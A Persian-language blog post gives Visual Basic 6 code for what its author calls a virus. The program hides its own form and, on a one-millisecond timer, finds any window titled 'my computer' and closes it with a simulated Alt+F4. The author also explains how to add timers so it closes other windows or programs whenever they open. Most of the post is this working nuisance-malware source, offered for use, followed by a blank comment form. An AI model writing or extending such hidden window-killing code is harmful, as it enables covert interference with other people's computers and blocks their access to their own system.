ابتدا این کد ها رو در قسمت general کپی کنید

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long

و در نهایت این کدها را هم در برنا مه تون قرار بدبد

Private Sub Timer1_Timer()
Form1.Hide
Dim handel As Long
handel = FindWindow(vbNullString, "my computer")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
End Sub
این برنامه یه timer با interval=1 نیاز دارد

و اما توضیح برنامه:
در این برنامه پس از اجرا برنامه بدنبال پنجره ای با نام مورد نظر می گرده و در صورت پیدا کردن اون رو می بنده.
دوستان نیازی به توضیخ خط به خط نمی بینم ولی اگه خواستید بگید تا ذکر کنم

اگه بخاییم ویروس با هم تعداد زیاد تری از پنجره ها رو ببنده کافیه تایمر های جدیدی اضافه کنیم و کدهای مربوط به تایمر اول را با تغییر my computerبه عبارت مورد نظر در قسمت کد نویسی آن تایمر ها قرار دهیم
تا اگه هر کدوم از پنجره ها یا برنامه های مورد نظر اجرا شد اونها را ببنده

نظرات شما عزیزان:

نام :

آدرس ایمیل:

وب سایت/بلاگ :

متن پیام:

نظر خصوصی

 کد را وارد نمایید:

 

 

 

عکس شما

آپلود عکس دلخواه: